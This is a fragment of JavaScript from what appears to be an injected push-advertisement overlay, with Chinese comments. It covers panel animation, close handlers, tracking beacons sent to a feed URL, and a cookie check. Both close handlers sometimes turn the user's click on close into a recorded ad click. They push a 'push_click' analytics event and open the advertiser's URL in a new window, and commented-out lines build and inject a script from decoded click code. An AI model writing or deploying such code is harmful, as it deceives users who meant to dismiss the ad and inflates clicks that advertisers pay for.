obj.style[styleName]=(iMov+speed)/100;
obj.style.filter='alpha(opacity:'+(iMov+speed)+')';
}else{
obj.style[styleName]=iMov+speed+'px';
}
}
}
if(flag){//到达设定值，停止定时器，执行回调
clearInterval(obj.timer);
if(callback){callback();}
}
},10)
}
//右边箭头的点击
function left() {
//document.getElementById('content').style.width = "80%";
document.getElementById('contentright').style.display = "block";
document.getElementById('close').style.display = "block";
animate(document.getElementById('content'),{'width':Math.ceil(document.body.clientWidth*0.8)},function(){document.getElementById('contentcenter').style.display = "block";document.getElementById('content').style.width=80+'vw';});
}
//左边TO的点击
function right() {
//document.getElementById('content').style.width = "14%";
document.getElementById('contentcenter').style.display = "none";
document.getElementById('contentright').style.display = "none";
document.getElementById('close').style.display = "none";
animate(document.getElementById('content'),{'width':Math.ceil(document.body.clientWidth*0.14)},function(){document.getElementById('content').style.width=14+'vw';});
}
function closemodel(closeispush) {
//关闭的点击
document.getElementById('content').style.display = "none";
sendfeedback(6);
if(closeispush == 1){
sendfeedback(5);
}else if(_pushshowjs_.israndom == 0){
var rval = Number(_pushshowjs_.randomval) * 100;
var rand = Math.ceil(Math.random()*10000);
//alert('israndom='+israndom + ',randomval='+rval + ',rand='+rand);
if(rval >= rand){
//document.getElementById("_embed_v3_frmc").contentWindow.pageclick();
//var abc = decodeURIComponent(_oP78_000.clickcode);
/*abc = abc.replace(/\+/g, "");
var html = 'function feedcnzzclick(){'+abc+'}';
var newScript = document.createElement('script');
newScript.type = 'text/javascript';
newScript.innerHTML = html;
a.appendChild(newScript);*/
_czc.push(["_setAccount", _oP78_000.clickcode]);_czc.push(['_trackEvent', 'picture', 'click', 'click',,'push_click']);
sendfeedback(9);
window.open(_oP78_000.forwordurl);
}
}
}
function clickCloseFeedback(closeispush){
document.getElementById('_embed_v3_dc').style.display='none';
document.getElementById('_embed_v3_frmc').src='';
sendfeedback(6);
if(closeispush == 1){
sendfeedback(5);
}else if(_pushshowjs_.israndom == 0){
var rval = Number(_pushshowjs_.randomval) * 100;
var rand = Math.ceil(Math.random()*10000);
//alert('israndom='+israndom + ',randomval='+rval + ',rand='+rand);
if(rval >= rand){
//document.getElementById("_embed_v3_frmc").contentWindow.pageclick();
//var abc = decodeURIComponent(_oP78_000.clickcode);
/*abc = abc.replace(/\+/g, "");
var html = 'function feedcnzzclick(){'+abc+'}';
var newScript = document.createElement('script');
newScript.type = 'text/javascript';
newScript.innerHTML = html;
a.appendChild(newScript);*/
_czc.push(["_setAccount", _oP78_000.clickcode]);_czc.push(['_trackEvent', 'picture', 'click', 'click',,'push_click']);
sendfeedback(9);
window.open(_oP78_000.forwordurl);
}
}
};
function sendfeedback(stype){
var URL = _pushshowjs_.feedurl;
var path = _pushshowjs_.eparam;
path=decodeURIComponent(path);
path=path.replace(' ','+');
if (path != "") {
path = URL + path + "&stype="+stype;
} else {
path = URL;
}
var xhr;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.open("get", path, true);
xhr.onreadystatechange = function(data) {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
/*if(stype==0){
//实名推送获取内容替换占位符
replaceContent(xhr.responseText);
}else if(stype==3){
closePage();
}*/
}
}
}
xhr.send();
}
try{
_oP78_000.policyParam = _oP78_000.getPolicyParam();
if (_oP78_000.GetCookie(_oP78_000.policyParam) == null){
_oP78_000.view();
_oP78_000.removePosition();
}
}catch (err) {}
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